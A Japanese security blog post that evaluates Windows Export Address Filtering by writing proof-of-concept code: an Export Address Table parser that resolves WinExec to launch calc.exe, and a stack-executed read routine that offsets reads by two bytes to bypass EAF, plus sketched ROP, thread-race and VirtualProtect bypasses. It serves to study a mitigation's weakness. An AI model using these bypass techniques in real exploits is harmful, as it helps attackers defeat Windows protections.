エクスプロイトを書きつつ学ぶWindowsセキュリティー機能 ~Export Address Filtering~

今回も敗北回、もしくは注意喚起。

忙しい人向けExport Address Filteringまとめ

  • 任意コード実行が出来た後のAPIアドレス特定を阻止する
  • 方法は特定.dllのexport関数一覧への不正アクセスを検知してクラッシュする
  • 対象はkernel32.dllとkernelbase.dllとntdll.dll
    • 悪用される率が高いからと思われる
  • 不正アクセスとは正規にロードされたバイナリのコード領域以外からの読み取り
    • 実行可能属性ついたヒープやスタックからだと不正扱い
  • 回避は楽勝すぎて防御は無いも同然

前置き

クラッカーの攻撃にも段階があるわけですが、今回はヒープやスタックに配置したコードを実行できたが、APIを叩く準備はできていない段階への対策技術です。

なぜこの段階が重要かというと、脆弱性をついての攻撃では往々にしてリンク処理の恩恵を受けられないため、各種APIのアドレスがわからずただの計算しかできないタイミングというのが高確率で生まれるからです。

そこで攻撃者はAPIアドレス特定作業を行うわけですが、仮にそれを全て阻止できたならばクラッシュさせる程度の被害しか出すことが出来ず、被害の最小化を図れるのでは?という考え方ですね。

そういった考えに基づき、APIアドレス特定で定石の1つであるExport Address Tableを読む処理を対象に無効化を試みたのがExport Address Filtering(以降EAF)です。

とはいえアプローチには無理があったようで……?

Exploit1: WinExecのアドレス取得

※ここからはサンプルを交えて解説していきます( Download )

今回は侵入自体は成功した後の防御なので、想定する状況は少々複雑で

  • 任意コード実行に成功している
    • ヒープかスタック上で実行されている
  • ロード済みの.dllの一覧とアドレスも取得できている
    • それ以外のアドレスは不明
    • .dllのバージョンも不明
  • 結果各APIのアドレスは不明

この状況から攻撃にもっていきます、本記事では電卓(calc.exe)の起動を目標としましょう。

簡便化のため、実際にスタック領域にコードを置くのではなく、普通にコード領域に実装するがメモリアクセスだけスタック領域に置いたコードを通すようにします。

なので見た目的にはただの一般アプリとなります。

やることは単純で、普段ローダーがリンク時に行うアドレス解決と同様の手法でWinExec関数のアドレスを入手し”calc.exe”を引数に渡して実行する、これだけ。

ちなみに.dllのアドレス取得の流れは本記事では解説しません。

知りたい人は Process Environment Block で調べてみると良いでしょう。

実際に試してみよう

サンプルの中のNoGuard.exeを実行してみると電卓が起動します。

といってもこれだけだと何が何やらだと思うのでコードの方も見ていきましょう。

std::map<std::string, unsigned int> ParseEAT(HMODULE module) {
   const unsigned char* const baseAddr = reinterpret_cast<unsigned char*>(module == NULL ? ::GetModuleHandleW(NULL) : module);
   const IMAGE_DOS_HEADER&amp; mz = *reinterpret_cast<const IMAGE_DOS_HEADER*>(baseAddr);
   const IMAGE_NT_HEADERS32&amp; pe = *reinterpret_cast<const IMAGE_NT_HEADERS32*>(baseAddr + readDWORD(&amp;mz.e_lfanew));
   const IMAGE_EXPORT_DIRECTORY&amp; dir = *reinterpret_cast<const IMAGE_EXPORT_DIRECTORY*>(
      baseAddr
      + readDWORD(&amp;pe.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress));
   const unsigned int * const funcs = reinterpret_cast<const unsigned int *>(baseAddr + readDWORD(&amp;dir.AddressOfFunctions));
   const unsigned int * const names = reinterpret_cast<const unsigned int *>(baseAddr + readDWORD(&amp;dir.AddressOfNames));
   const unsigned short * const ordinals = reinterpret_cast<const unsigned short *>(baseAddr + readDWORD(&amp;dir.AddressOfNameOrdinals));
   std::map<unsigned int, std::string> ordinalNameMap;
   for (unsigned int index = 0; index < readDWORD(&amp;dir.NumberOfNames); index++) {
      const unsigned int ordinal = readWORD(&amp;ordinals[index]);
      ordinalNameMap[ordinal] = readString(reinterpret_cast<const char *>(baseAddr + readDWORD(&amp;names[index])));
   }
   std::map<std::string, unsigned int> result;
   for (unsigned int index = 0; index < readDWORD(&amp;dir.NumberOfFunctions); index++) {
      const unsigned int func = reinterpret_cast<unsigned int>(baseAddr) + readDWORD(&amp;funcs[index]);
      if (!ordinalNameMap.contains(index)) {
         continue;
      }
      result[ordinalNameMap[index]] = func;
   }
   return result;
}

int main() {
   const auto WinExec = reinterpret_cast<UINT (__stdcall *)(LPCSTR, UINT)>(ParseEAT(::GetModuleHandleA("kernel32.dll"))["WinExec"]);
   WinExec("calc.exe", SW_SHOW);
   return 0;
}

kernel32.dllに備わるExport Address TableをパースしてWinExecのアドレスを取得して実行しているだけです。

パース自体難しそうに見えるかもしれませんが、全てMSDNに定義が載っているので時間さえかければ誰でも書ける程度のものです。

一応スタック上から実行していることをエミュレートするために読み取りはread*関数を通してアクセスしています。
※read*はスタック上にコードを書いてそこを実行しています。

これで.dllのアドレスさえわかれば中のAPIを呼ぶことは難しくないのは伝わったかと思います。

Exploit1まとめ

  • GetProcAddressを通さなくてもExport Address Tableをパースすればアドレスはわかる
  • Export Address Tableへのアクセスやパースに他APIは必要ない
  • 通常はスタックからアクセスしても問題はない

次はこれにEAFで対抗します。

EAFで防御

EAFはExploit ProtectionというWindows10に備わったセキュリティ機能群の一つです。

Windows10以前ではEMETというセキュリティツールによって提供されていました(現在はサポート終了)

EAFとは?

一部の.dllのExport Address Tableへのアクセスを制限する機能です。

対象は以下の通り。

  • kernel32.dll
    • AddressOfFunctionsへのアクセスを禁止
  • kernelbase.dll
    • AddressOfFunctionsへのアクセスを禁止
  • ntdll.dll
    • DataDirectoryのVirtualAddressへのアクセスを禁止

※AddressOfFunctionsなどは実際に上のコード片でも触れているので読み返してみるのも良いでしょう。

メモリーをアクセス禁止にし、アクセス時に上がる例外をキャッチしてあれこれする形で実装されています。

具体的には、該当メモリにPAGE_GUARD属性を付与してアクセスを禁止。
アクセス時に発生した例外をキャッチし不正なアクセスならばアプリをクラッシュ。
正当なら一瞬PAGE_GUARDを解除してシングルステップ実行で読み取らせ再度PAGE_GUARDを付与。
正当か不正かはコードの配置されたメモリが正当にリンクされたコード領域上かを見て判断しています。

EMETに最初実装された際はデバッグレジスタという該当メモリにアクセスしたこと自体をトリガーとする技術が使われていましたが、4か所しか設定できない、競合することが多いなど批判が多かったためか変更されたようです。
(噂レベルですが、IEと競合して解決できなかったからとも?)

EAF有効化方法

EAFは手動でExploit Protectionから有効にする必要があります。

Windowsキー>Exploit Protectionと入力>プログラム設定>プログラムを追加してカスタマイズ>ファイルパス

上記で対象.exeを追加しEAFを有効にすることで試すことが出来ます。

実際に試してみよう

Exploit1の.exeを対象にしてEAFを有効にして実行してみましょう。

電卓が起動せずクラッシュしたら成功です。

防がれた原理としては、65行目のアクセスがEAFの判定対象となり、スタックからのアクセスであるため不正とみなされたわけです。

      + readDWORD(&amp;pe.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress));
   const unsigned int * const funcs = reinterpret_cast<const unsigned int *>(baseAddr + readDWORD(&amp;dir.AddressOfFunctions));
   const unsigned int * const names = reinterpret_cast<const unsigned int *>(baseAddr + readDWORD(&amp;dir.AddressOfNames));

EAFで防御まとめ

  • EAFはExport Address Tableへのアクセスを制限する
  • スタックからだと単純に読むのは無理
  • EAFは設定アプリのExploit Protectionから有効化

さてここまではEAFも有用そうに見えますが……?

Exploit2: EAF回避

実はEAFには致命的欠陥があり簡単に回避できてしまいます。

EAFはアクセス範囲ではなくアクセスの先頭アドレスだけを見ている上に、完全一致で弾くべきかどうかを見ています。

なので少し読み取りアドレスを前後させてやるだけで簡単に回避できます。

実際に試してみよう

サンプルのBypassEAF.exeを前回同様の手順でEAF保護したうえで起動してみましょう。

今回は問題なく電卓が起動してしまったはずです。

なぜこうなったのか

差分はスタックからの読み取り関数に若干の修正を入れただけです。

unsigned int readDWORD(const void * const addr) {
   unsigned char code[] = {
      0x3E, 0x8B, 0x44, 0x24, 0x04, // MOV EAX, DWORD PTR DS:[ESP+4]
      0x8B, 0x00,                   // MOV EAX, DWORD PTR DS:[EAX]
      0xC2, 0x04, 0x00              // RETN 4
   };
   DWORD oldProtect;
   ::VirtualProtect(code, sizeof(code), PAGE_EXECUTE_READWRITE, &amp;oldProtect);
   const unsigned int result1 = reinterpret_cast<unsigned int (__stdcall *)(const unsigned int)>(&amp;code)(reinterpret_cast<unsigned int>(addr) - 2);
   const unsigned int result2 = reinterpret_cast<unsigned int (__stdcall *)(const unsigned int)>(&amp;code)(reinterpret_cast<unsigned int>(addr) + 2);
   ::VirtualProtect(code, sizeof(code), oldProtect, &amp;oldProtect);
   return (result1 >> 16) | (result2 << 16);
}

わかりやすく簡略化すると

unsigned int * ptr = addr;
*ptr;

から

unsigned int * ptr1 = addr - 2;
unsigned int * ptr2 = addr + 2;
(*ptr1 >> 16) | (*ptr2 << 16); // ptr1の上位2byteとptr2の下位2byteをくっつける

に読み方を変えただけです。

これらは意味的には完全に等価であり、後者が若干遅いという以外に違いがありません。

またスタック上に書くのが難しい/実行が難しい/なんらかの技術で検出できる、などの制約も皆無と言ってよく、事実上ほぼ0コストで実現できてしまいます。

回避コストがほぼ0であるため、原理がわかれば事実上無防御とほぼ変わりがない状態と言えるでしょう。

EAF回避まとめ

  • EAFは読み取りアクセスを軽く前後にずらすだけで回避できる
  • ずらすのはとても簡単

ちなみにこの致命的さ具合は脆弱性なのでは?とMSに報告を送ってみましたが

「修正する気はないので公開したければ好きにするといいよ(意訳」

とのことで、MS自体もうEAFを切り捨てているも同然のようです。

その他回避法色々

アドレスずらしただけで回避できた時点で相当ですが、他にもいろいろと回避方法が存在するのでほんのり触れておきます。

ROPで回避

ROPにより正規.dllのコード領域からメモリ読み込み命令することが可能です。

これを用いてAddressOfFunctionsなどを読んでやれば回避できます。

マルチスレッド

PAGE_GUARDを解く際にもスレッドは中断されないので、他のスレッドが正規アクセスをしPAGE_GUARDが解除された瞬間に読み取りを指示すれば問題なく読むことが出来ます。

VirtualProtect

PAGE_GUARDを付与しているのが要であるためVirtualProtectAPIなどを利用してPAGE_GUARDを解除できれば問題なく読むことが出来ます。

総評

本記事ではさらっと流しましたがEAFはROPによる回避が出来た時点で事実上死んだ技術です。

ROPも多少手間とはいえ完全な回避策であるため、ROPの対策が為されない限り不意打ち防御としてしか意味がないためです。

そして現状のWindowsではROPに対する対策はROPを使われる前に止める以上のものがありません。

だからこそアドレスずらしという更に安易な回避法が見つかっても、そちらに対処することなく放置する選択を取っているのでしょう。

EAFに動作不良リスクを負ってまで採用する価値はありません。

終わりに

ネガキャン回が続いていますが、セキュリティ技術というものは基本的にリスクが高い技術なので、突破されるなどして有用性を喪失した技術はしっかりと見分けて除外する必要があります。

その点で言うとEAFは間違いなく有用性を喪失しているため、万が一にも採用はお勧めしません。

私の書いている記事群がそういった見極めの良い材料となっていることを願います。

ではまたいつの日か。

コメントを残す

メールアドレスが公開されることはありません。